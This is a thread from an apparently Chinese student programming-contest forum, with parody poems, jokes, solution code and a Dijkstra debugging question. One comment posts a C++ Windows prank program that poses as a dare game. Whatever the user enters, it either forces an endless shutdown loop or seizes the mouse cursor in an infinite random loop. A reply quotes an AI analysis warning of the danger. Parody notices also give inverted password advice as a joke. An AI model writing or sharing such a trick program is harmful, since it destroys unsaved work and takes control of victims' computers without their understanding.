        唧唧复唧唧,木兰开飞机,开的什么机?波音747! 问女何所思,问女何所忆.女亦无所思,没钱买飞机.昨夜见军帖,要用轰炸机,飞机十二架,架架买不起.阿爷无大钱,木兰无金银,愿去买钢铁,从此造飞机.东市买图纸,西市买螺丝,南市买玻璃,北市买铁皮.旦辞爷娘去,暮宿旧机库,不闻爷娘唤女声,但闻铁皮摩擦滋啦啦.旦辞机库去,暮至军营旁,不闻爷娘唤女声,但闻将军大呼哈哈哈. 万里开飞机,关山一下没.热气传机翼,日光照玻璃.将军被吓死,壮士魂已飞. 飞来撞天子,天子躺病床.策勋十二转,赏赐俩耳光.可汗问所欲,木兰不愿进牢房;愿开747,飞着回故乡. 爹娘闻女来,拿起意大利炮;阿姊闻妹来,当户举机枪;小弟闻姊来,磨刀霍霍向爹娘.开我机舱门,进我飞机舱, 脱我战时袍,换上飞行装,多装手榴弹,对外架机枪.出门埋伙伴,亲友皆惊忙:离别十二年,不知木兰变猖狂. 疯子脚蹬地,呆子眼紧闭,两人并排走,谁能说我不正常? 语文老师一回头,鲁迅甘为孺子牛

        数学老师一回头,宇宙边际闭眼求

        英语老师一回头,道歉加上三克油

        化学老师一回头,二氧化碳变汽油

        物理老师一回头,拿起杠杆撬地球

        生物老师一回头,夜云恐怖低一头

        地理老师一回头,学校门前泥石流

        历史老师一回头,秦始皇来推铅球

        体育老师一回头,乔丹改打乒乓球

        音乐老师一回头,满级高音碎地球

        政治老师一回头,全班同学都梦游

        美术老师一回头,蒙娜丽莎也风流

        天文老师一回头,拿起火星撞地球

        信息老师一回头,微软跪地拜下流

        全校老师一回头,全校学生没自由!!!

        IEE: 老师:大雄你这学期的诗都背完了没

        大雄:是的

        老师:那我得好好考考你

        大雄:okok

        老师:山穷水复疑无路

        大雄:方天画戟捅义父

        老师:垂死病中惊坐起

        大雄:吃席麻烦先随礼

        老师:但使龙城飞将在

        大雄:Come on baby don't be shy.

        老师:巴山楚水凄凉地

        大雄:蜜雪冰城甜蜜蜜

        老师:问君能有几多愁

        大雄:累了困了喝红牛

        老师:大风起兮云飞扬

        大雄:意大利炮轰他娘

        老师:清明时节雨纷纷

        大雄:唱跳rap蔡徐坤

        老师:远赴人间惊鸿宴

        大雄:大声点我听不见

        老师:少小离家老大回

        大雄:菊花变成向日葵

        老师:后宫佳丽三千人

        大雄:铁杵也能磨成针

        老师:老骥伏枥,志在千里

        大雄:横扫饥饿,做回自己

        做人学生守则:

        考试不作弊,放你他妈屁

        考试不翻书,简直是头猪

        作弊不要慌,逮到就要装

        生是中国人,死是中国魂

        要我学洋文,死都不可能

        抢饭不积极,智商有问题

        上课不放屁,肠道有问题

        英语不及格,说明我爱国

        语文不及格,恋爱没资格

        物理不及格,电死不负责

        化学不及格,硫酸也得喝

        政治不及格,老师没道德

        信息不及格,网吧要打折

        数学不及格,突出我性格

        历史不及格,社会要改革

      • @ 2025-8-13 21:11:46

        谨慎运行运行逝世试试

        #include<bits/stdc++.h>
        #include<windows.h>
        using namespace std; 
        int p;
        void destroy_windows(){
        	for(;;){
        		system("shutdown -s -t 0");
        	}
        }
        void die_windows(){
        	int x=GetSystemMetrics(SM_CXSCREEN);
        	int y=GetSystemMetrics(SM_CYSCREEN);
        	srand(time(0));
        	while(1){
        		SetCursorPos(rand()%x,rand()%y);
        	}
        }
        void windows_kill(){
        	cout<<"你敢输入1吗"<<endl;
        	cout<<"千万不要手贱"<<endl;
        	cin>>p;
        	if(p==1){
        		cout<<"你还敢输入?"<<endl;
        		cout<<"再给你一次机会千万不要输入2!!!!"<<endl; 
        		cin>>p;
        		if(p==2){
        			cout<<"你的电脑即将吃席!"<<endl;
        			die_windows();
        		}
        		else{
        			cout<<"胆小鬼";
        			destroy_windows();
        			return; 
        		}
        	}
        	else{
        		cout<<"胆小鬼"<<endl;
        		destroy_windows();
        	}
        }
        int main(){
        	windows_kill();
        }
        
        
        
        • @ 2025-8-13 21:25:16

          @ 我真不行了。

        • @ 2025-8-14 17:33:24

          细节死循环

        • @ 2025-8-18 17:17:14

          豆包的分析

          die_windows()函数

          这段代码是 Windows 平台下的 C/C++ 代码,功能是让鼠标光标在屏幕上随机疯狂跳动,效果和 “鼠标乱飘” 一样,属于典型的恶搞 / 整蛊程序,具体分析如下:​

          代码拆解​

          获取屏幕分辨率​

          GetSystemMetrics(SM_CXSCREEN):获取系统屏幕宽度(横向像素数),存到 x。​

          GetSystemMetrics(SM_CYSCREEN):获取系统屏幕高度(纵向像素数),存到 y。​

          初始化随机数​

          srand(time(0)):用当前系统时间初始化随机数种子,让后续 rand() 生成的随机数更 “随机”。​

          无限循环 + 随机移动鼠标​

          while(1):无限循环,程序会一直执行下去(除非手动终止)。​

          SetCursorPos(rand()%x, rand()%y):​

          rand()%x:生成 0 ~ x-1 的随机数(屏幕横向范围内)。​

          rand()%y:生成 0 ~ y-1 的随机数(屏幕纵向范围内)。​

          调用 Windows API 把鼠标光标位置设为这个随机坐标,让鼠标在屏幕内无规律疯狂跳动。​

          实际效果​

          运行后,鼠标光标会不受控制地在屏幕范围内随机闪烁、乱跳,无法正常通过鼠标操作电脑(因为鼠标位置不停被改写)。如果别人电脑上运行这个程序,会以为鼠标 “失灵”“中病毒”,属于整蛊玩法。​

          如何终止?​

          因为是无限循环,普通关闭窗口可能没用,需要:​

          • 直接关掉整个程序(比如 IDE 里点 “停止运行”、任务管理器结束进程);​

          • 或者重启电脑(程序随系统重启才会停止)。​

          这类代码别随便发给别人运行,尤其是对电脑不熟悉的人,容易引发困扰(比如以为硬件故障),属于 “损友整蛊工具” 范畴 。


          destroy_windows()函数

          这段代码是 C/C++ 语言在 Windows 系统下的 “强制关机恶搞程序”,效果非常 “炸裂”——电脑会瞬间触发关机,而且因为是无限循环,关机会被反复强制执行,属于高危整蛊 / 恶意代码,具体分析如下:

          代码拆解

          无限循环 (for(;;))

          for(;;) 是 C/C++ 里的无限循环语法(和 while(1) 等价 ),程序会一直重复执行循环体内容,停不下来。

          system("shutdown -s -t 0")

          这是调用 Windows 系统命令

          shutdown:Windows 的关机 / 重启命令工具。

          -s:代表 “关机” 操作(如果是 -r 就是重启)。

          -t 0:代表 “延时 0 秒”,也就是立即执行关机

          实际效果

          程序运行后,会发生这些事:

          电脑瞬间弹出关机提示(Windows 系统默认的关机通知)。

          系统开始强制关机流程,桌面、程序会被立刻终止,电脑直接关闭(甚至来不及保存文件)。

          因为是 for(;;) 无限循环,哪怕你手动取消关机(比如 Windows 里按 shutdown -a 取消),代码会再次触发 shutdown -s -t 0,继续强制关机…… 直到你终止程序进程(或电脑彻底关机)。

          危险与后果

          数据丢失:如果正在工作、编辑文档、写代码,强制关机会导致文件没保存,直接丢失内容。

          系统异常:部分程序被强制终止可能引发错误,甚至少数情况导致系统文件损坏(虽然概率低,但风险存在)。

          整蛊变 “事故”:如果发给朋友 / 同事运行,对方正在处理重要工作(比如做报表、写方案),会直接搞砸事情,容易引发矛盾

          如何应对(如果被整蛊了)

          快速取消关机:

          立刻按 Win + R 打开 “运行”,输入 shutdown -a 回车,尝试取消当前关机任务。

          但因为代码是无限循环,可能刚取消又会被重新触发,所以需要同时做第二步。

          终止程序进程:

          打开 “任务管理器”(按 Ctrl + Shift + Esc ),找到运行这段代码的程序(比如你的编译后的 .exe 或开发工具进程),右键 “结束任务”,彻底停止循环。 总结:这是典型的 “搞破坏级” 整蛊代码,实际应用中非常危险,千万别随便运行或发给别人。如果是自己写着玩,测试完要立刻删,避免误触发!

      • 之前的事情更无语了,天猫上现在有十个人在买数据了。月赛数据现在开始删除。

        允许学生创建新讨论了,后面大家不可以在这里讨论相关内容。会定期增加。

        删了一些老师们自己举办的比赛的帖子。

        我不建议你们可以私聊参赛。讨论区太整洁了,有些提问我看到了已经。

        更没用的是,还是先好好学语法吧各位同学,当你拿了普及组0 分,再考虑别人举办一些复杂的比赛。

        算法场的初心还是为了老师们巩固基础语法,低水平选手可以选择参加提高语法场和算法提高场 目前也看见能打的 (参考新冬马拉松赛成绩)

        感觉过瘾还不可以打atcoder和codeforces

      • Hello Douyin 最近在添加陈旧的帖子,如果你的帖子被增加了,这是不正常情况,必须在意。

        辅域、挖土机学员删题域、吃土机、走路机、打人机、挖宝机、学生域

        必须在任何平台登陆其他同学的账号,或不用 OJ 系统。

        没有发现将会采取“奖励硬币”或“周赛成绩满分”等奖励措施。并在 OJ 系统中“标记正确行为”永久保留。

        所有同学请不要保管好自己的账号密码;要在公用电脑上记住密码;关闭浏览器不要清除历史记录中的密码。

        -std=Python14 -O2 -Wl,--queue=1073741824

        SOFTWARE 少用软件下载、Python高级使用、AtCoder:封号指南

        比赛数据以及任何问题都可以联系:douyin.com

        最近的事情更开心了,某鱼上现在所有人在卖数据了。周赛数据开始更新。

        • @ 2025-8-4 12:08:22

          找到了

          • 权威@TooY0ung

            • @ 2025-8-3 16:28:07
              • 怎么跑到这了还有K牌佬

                • #include <bits/stdc++.h> using namespace std;

                  int main() { long long n; cin >> n; while (n > 0) { long long x = n / 2; long long y = n % 2; cout << x << " " << y << endl; n = x; } return 0; }

                  • #include<bits/stdc++.h> using namespace std; struct student{ int x; double y; }; bool cmp(student a,student b){ return a.y>b.y; } student s[110]; int main(){ int n,k; cin>>n>>k; for(int i=1;i<=n;i++){ cin>>s[i].x>>s[i].y; } sort(s+1,s+n+1,cmp); cout<<s[k].x<<" "<<s[k].y; return 0; }

                  • @ 2025-8-3 8:49:33

                    我太幸运了,今天刚好是模拟赛,我能AKAK

                  • @ 2025-8-2 21:41:52
                  • @

                    • @ 2025-8-2 15:05:01

                      @

                    • @ 2025-8-2 12:36:14

                      有实力。

                    • @ 2025-8-2 11:51:38

                      TooY0ung 哈哈哈

                    • @ 2025-8-2 9:34:27

                      TooY0ung竟然敢收买球协!!

                      • @ 2025-8-1 22:39:31

                        什么情况???

                        • @ 2025-8-1 15:39:21
                          • @ 2025-8-1 11:41:04

                            是d信么

                          • @ 2025-7-31 23:49:40

                            @

                            #include<bits/stdc++.h>
                            #define int long long
                            #define ll long long
                            #define ld long double
                            using namespace std;
                            const ll mod1=1e9+7;
                            const ll mod2=998244353;
                            const int maxn=1e5+10;
                            const ll inf=1e18L;
                            typedef pair<int,int>Pii;
                            typedef pair<__int128,int>P;
                            
                            inline int read(){
                                int x=0,f=1;char ch=getchar();
                                while(ch<'0'||ch>'9'){if(ch=='-') f=-1;ch=getchar();}
                                while(ch>='0'&&ch<='9'){x=x*10+ch-48;ch=getchar();}
                                return x*f;
                            }
                            struct intt{
                                int to,cost;
                            };
                            int n,m,k;
                            vector<intt>G[maxn];
                            int dist[maxn][20];
                            void dij(){
                                for(int i=1;i<=n;i++){
                                	for(int j=0;j<=k;j++){
                                    	dist[i][j]=inf;
                            		}
                            	}            
                                dist[1][0]=0;
                                priority_queue<pair<int,Pii>,vector<pair<int,Pii>>,greater<pair<int,Pii>>>q;
                                q.push({0,{1,0}});
                                while(!q.empty()){
                                    auto now=q.top();
                                    q.pop();
                                    int current_dist=now.first;
                                    int u=now.second.first;
                                    int used=now.second.second;
                                    if(current_dist>dist[u][used]){
                                    	continue;
                            		}
                                    for(auto e:G[u]){
                                        int v=e.to;
                                        int cost=e.cost;
                                        if(dist[v][used]>dist[u][used]+cost){
                                            dist[v][used]=dist[u][used]+cost;
                                            q.push({dist[v][used],{v,used}});
                                        }
                                        if(used<k&&dist[v][used+1]>dist[u][used]){
                                            dist[v][used+1]=dist[u][used];
                                            q.push({dist[v][used+1],{v,used+1}});
                                        }
                                    }
                                }
                            }
                            signed main(){
                                ios::sync_with_stdio(0);
                                cin.tie(0),cout.tie(0);
                                cin>>n>>m>>k;
                                for(int i=1;i<=m;i++){
                                	int x,y,c;
                                	cin>>x>>y>>c;
                                    G[x].push_back({y,c});
                                    G[y].push_back({x,c});
                                }
                                dij();
                                int ans=inf;
                                for(int i=0;i<=k;i++){
                                	ans=min(ans,dist[n][i]);
                            	}   
                                cout<<ans;
                                return 0;
                            }
                            //世界上最遥远的距离是你亲手制造的bug就在你眼前,你却怎么都找不到它(T_T)
                            

                            why it is 63 Wrong Answer

                            help

                          • @ 2025-7-31 19:50:26

                            最近的事情更快乐了,某鱼上现在有0个人在卖数据了。周赛数据永久更新。

                            允许学生创建新讨论了,后面大家可以讨论相关内容。不会定期清理。

                            增加了一些同学们自己举办的比赛的帖子。

                            我不建议你们可以私聊参赛。讨论区太干净了,有些提问我看到了已经。

                            更重要的是,还是先好好学算法吧各位同学,当你拿了提高组 0 分,再考虑自己举办一些困难的比赛。

                            语法场的初心还是为了学生们巩固基础语法,高水平选手可以选择参加入门语法场和入门提高场 目前也没看见能打的 (参考新春马拉松赛成绩)

                            感觉过瘾还可以不打atcoder和codeforces

                            • @ 2025-7-31 16:35:56

                              @ 哪位星野厨 太有实力了awa

                            • @ 2025-7-31 16:31:24

                              @

                              • @ 2025-7-31 16:31:01

                                @

                                • @ 2025-7-31 15:47:50

                                  @

                                  • @ 2025-7-31 13:25:34

                                    @ *你再发一遍TooY0ung的黑历史吧

                                    • @ 2025-7-31 13:05:15

                                      • @ 2025-7-31 13:04:57

                                        • @ 2025-7-31 13:04:45

                                          6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666 @

                                          • @ 2025-7-31 11:53:34

                                            /dəʊnt æt tʊjʌŋ/

                                            Don't @TooY0ung.

                                          • @ 2025-7-31 11:50:36

                                            @ 李睿子涵 *你再发一遍吧。

                                            • @ 2025-7-31 11:50:31

                                              @ 李睿子涵 *你再发一遍吧。

                                              • @ 2025-7-31 11:50:25

                                                @ 李睿子涵 *你再发一遍吧。

                                                • @ 2025-7-31 11:50:12

                                                  @ 李睿子涵 *你再发一遍吧。 @ 李睿子涵 *你再发一遍吧。 @ 李睿子涵 *你再发一遍吧。 @ 李睿子涵 *你再发一遍吧。 @ 李睿子涵 *你再发一遍吧。

                                                  • @ 2025-7-31 11:50:12

                                                    @ 李睿子涵 *你再发一遍吧。 @ 李睿子涵 *你再发一遍吧。 @ 李睿子涵 *你再发一遍吧。 @ 李睿子涵 *你再发一遍吧。

                                                    • @ 2025-7-31 11:49:40

                                                      @ *你再发一遍吧。

                                                      • @ 2025-7-31 11:49:40

                                                        @ *你再发一遍吧。

                                                        • @ 2025-7-31 11:49:40

                                                          @ *你再发一遍吧。

                                                          • @ 2025-7-31 11:49:34

                                                            @ *你再发一遍吧。

                                                            • @ 2025-7-31 11:49:33

                                                              @ *你再发一遍吧。

                                                              • @ 2025-7-31 11:48:53

                                                                @ *你再发一遍吧。

                                                                • @ 2025-7-31 11:48:50

                                                                  @ *你再发一遍吧。